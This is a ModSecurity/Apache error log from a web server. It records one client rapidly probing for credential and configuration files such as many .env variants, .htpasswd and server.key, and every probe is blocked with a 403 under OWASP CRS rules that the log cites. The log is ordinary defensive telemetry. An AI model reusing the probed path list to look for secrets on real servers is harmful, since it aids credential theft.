[Mon Oct 26 02:28:16.266179 2026] [security2:error] [pid 2982383:tid 2982383] [client 34.67.42.132:40340] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Request content type is not allowed by policy"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7zAFKAT3mNfkVB4iyiCgAAABU"]
[Mon Oct 26 02:28:17.007911 2026] [security2:error] [pid 2963542:tid 2963542] [client 34.67.42.132:40400] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.supabase"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.supabase"] [unique_id "at7zAd8riwHadHMxXEF0bgAAACU"]
[Mon Oct 26 02:28:17.008121 2026] [security2:error] [pid 2963542:tid 2963542] [client 34.67.42.132:40400] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.supabase"] [unique_id "at7zAd8riwHadHMxXEF0bgAAACU"]
[Mon Oct 26 02:28:17.008877 2026] [security2:error] [pid 2963542:tid 2963542] [client 34.67.42.132:40400] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7zAd8riwHadHMxXEF0bgAAACU"]
[Mon Oct 26 02:28:17.099093 2026] [authz_core:error] [pid 2974947:tid 2974947] [client 34.67.42.132:40456] AH01630: client denied by server configuration: /var/www/html/.htpasswd
[Mon Oct 26 02:28:17.560557 2026] [security2:error] [pid 2968016:tid 2968016] [client 34.67.42.132:40632] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.credentials"] [unique_id "at7zAfLdnYlTYsUh9u6rCwAAABk"]
[Mon Oct 26 02:28:17.560858 2026] [security2:error] [pid 2968016:tid 2968016] [client 34.67.42.132:40632] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.credentials"] [unique_id "at7zAfLdnYlTYsUh9u6rCwAAABk"]
[Mon Oct 26 02:28:17.561658 2026] [security2:error] [pid 2968016:tid 2968016] [client 34.67.42.132:40632] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7zAfLdnYlTYsUh9u6rCwAAABk"]
[Mon Oct 26 02:28:17.730878 2026] [security2:error] [pid 2982084:tid 2982084] [client 34.67.42.132:40640] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.keys"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.keys"] [unique_id "at7zATDO8MpTZE2iHS58OwAAAAk"]
[Mon Oct 26 02:28:17.731161 2026] [security2:error] [pid 2982084:tid 2982084] [client 34.67.42.132:40640] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.keys"] [unique_id "at7zATDO8MpTZE2iHS58OwAAAAk"]
[Mon Oct 26 02:28:17.731941 2026] [security2:error] [pid 2982084:tid 2982084] [client 34.67.42.132:40640] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7zATDO8MpTZE2iHS58OwAAAAk"]
[Mon Oct 26 02:28:17.754803 2026] [security2:error] [pid 2963542:tid 2963542] [client 34.67.42.132:40606] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.secret"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.secret"] [unique_id "at7zAd8riwHadHMxXEF0cQAAACU"]
[Mon Oct 26 02:28:17.755005 2026] [security2:error] [pid 2963542:tid 2963542] [client 34.67.42.132:40606] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.secret"] [unique_id "at7zAd8riwHadHMxXEF0cQAAACU"]
[Mon Oct 26 02:28:17.755736 2026] [security2:error] [pid 2963542:tid 2963542] [client 34.67.42.132:40606] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7zAd8riwHadHMxXEF0cQAAACU"]
[Mon Oct 26 02:28:17.888752 2026] [security2:error] [pid 2974947:tid 2974947] [client 34.67.42.132:40652] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.production.local"] [unique_id "at7zAXTk5TnE5TElIbuUUQAAAAA"]
[Mon Oct 26 02:28:17.889100 2026] [security2:error] [pid 2974947:tid 2974947] [client 34.67.42.132:40652] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.production.local"] [unique_id "at7zAXTk5TnE5TElIbuUUQAAAAA"]
[Mon Oct 26 02:28:17.889979 2026] [security2:error] [pid 2974947:tid 2974947] [client 34.67.42.132:40652] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7zAXTk5TnE5TElIbuUUQAAAAA"]
[Mon Oct 26 02:28:17.949866 2026] [security2:error] [pid 2982383:tid 2982383] [client 34.67.42.132:40690] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.staging.local"] [unique_id "at7zAVKAT3mNfkVB4iyiDwAAABU"]
[Mon Oct 26 02:28:17.950087 2026] [security2:error] [pid 2982383:tid 2982383] [client 34.67.42.132:40690] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.staging.local"] [unique_id "at7zAVKAT3mNfkVB4iyiDwAAABU"]
[Mon Oct 26 02:28:17.950954 2026] [security2:error] [pid 2982383:tid 2982383] [client 34.67.42.132:40690] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7zAVKAT3mNfkVB4iyiDwAAABU"]
[Mon Oct 26 02:28:17.910914 2026] [security2:error] [pid 2984175:tid 2984175] [client 34.67.42.132:40694] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.dev.local"] [unique_id "at7zAQi8_LqsPNP_B7EydAAAAAU"]
[Mon Oct 26 02:28:17.961918 2026] [security2:error] [pid 2984175:tid 2984175] [client 34.67.42.132:40694] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.dev.local"] [unique_id "at7zAQi8_LqsPNP_B7EydAAAAAU"]
[Mon Oct 26 02:28:17.962907 2026] [security2:error] [pid 2984175:tid 2984175] [client 34.67.42.132:40694] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7zAQi8_LqsPNP_B7EydAAAAAU"]
[Mon Oct 26 02:28:17.912341 2026] [security2:error] [pid 2984174:tid 2984174] [client 34.67.42.132:40706] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.preprod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.preprod"] [unique_id "at7zAX9jXGqHxPWOUzy_ggAAAAM"]
[Mon Oct 26 02:28:17.969099 2026] [security2:error] [pid 2984174:tid 2984174] [client 34.67.42.132:40706] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.preprod"] [unique_id "at7zAX9jXGqHxPWOUzy_ggAAAAM"]
[Mon Oct 26 02:28:17.970162 2026] [security2:error] [pid 2984174:tid 2984174] [client 34.67.42.132:40706] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7zAX9jXGqHxPWOUzy_ggAAAAM"]
[Mon Oct 26 02:28:17.988148 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.67.42.132:40738] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.config"] [unique_id "at7zAWVuCUgD8ovs4IEDigAAABM"]
[Mon Oct 26 02:28:17.988366 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.67.42.132:40738] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.config"] [unique_id "at7zAWVuCUgD8ovs4IEDigAAABM"]
[Mon Oct 26 02:28:17.989155 2026] [security2:error] [pid 2982378:tid 2982378] [client 34.67.42.132:40738] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7zAWVuCUgD8ovs4IEDigAAABM"]
[Mon Oct 26 02:28:18.036260 2026] [security2:error] [pid 2982258:tid 2982258] [client 34.67.42.132:40758] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "parkeranders.com"] [uri "/server.key"] [unique_id "at7zAj4NyIA_F0mqARUezgAAABI"]
[Mon Oct 26 02:28:18.036634 2026] [security2:error] [pid 2982258:tid 2982258] [client 34.67.42.132:40758] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/server.key"] [unique_id "at7zAj4NyIA_F0mqARUezgAAABI"]
[Mon Oct 26 02:28:18.037397 2026] [security2:error] [pid 2982258:tid 2982258] [client 34.67.42.132:40758] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7zAj4NyIA_F0mqARUezgAAABI"]
[Mon Oct 26 02:28:18.038446 2026] [security2:error] [pid 2974954:tid 2974954] [client 34.67.42.132:40722] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.testing"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.testing"] [unique_id "at7zAuPdqEmNX1cUUB8h7AAAAAI"]
[Mon Oct 26 02:28:18.051649 2026] [security2:error] [pid 2974954:tid 2974954] [client 34.67.42.132:40722] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.testing"] [unique_id "at7zAuPdqEmNX1cUUB8h7AAAAAI"]
[Mon Oct 26 02:28:18.052453 2026] [security2:error] [pid 2974954:tid 2974954] [client 34.67.42.132:40722] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7zAuPdqEmNX1cUUB8h7AAAAAI"]
[Mon Oct 26 02:28:18.087975 2026] [security2:error] [pid 2963542:tid 2963542] [client 34.67.42.132:40746] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.development.local"] [unique_id "at7zAt8riwHadHMxXEF0cgAAACU"]
[Mon Oct 26 02:28:18.088177 2026] [security2:error] [pid 2963542:tid 2963542] [client 34.67.42.132:40746] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.development.local"] [unique_id "at7zAt8riwHadHMxXEF0cgAAACU"]
[Mon Oct 26 02:28:18.088947 2026] [security2:error] [pid 2963542:tid 2963542] [client 34.67.42.132:40746] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7zAt8riwHadHMxXEF0cgAAACU"]
[Mon Oct 26 02:28:18.144305 2026] [security2:error] [pid 2982084:tid 2982084] [client 34.67.42.132:40708] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.prod.local"] [unique_id "at7zAjDO8MpTZE2iHS58PAAAAAk"]
[Mon Oct 26 02:28:18.144526 2026] [security2:error] [pid 2982084:tid 2982084] [client 34.67.42.132:40708] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.prod.local"] [unique_id "at7zAjDO8MpTZE2iHS58PAAAAAk"]
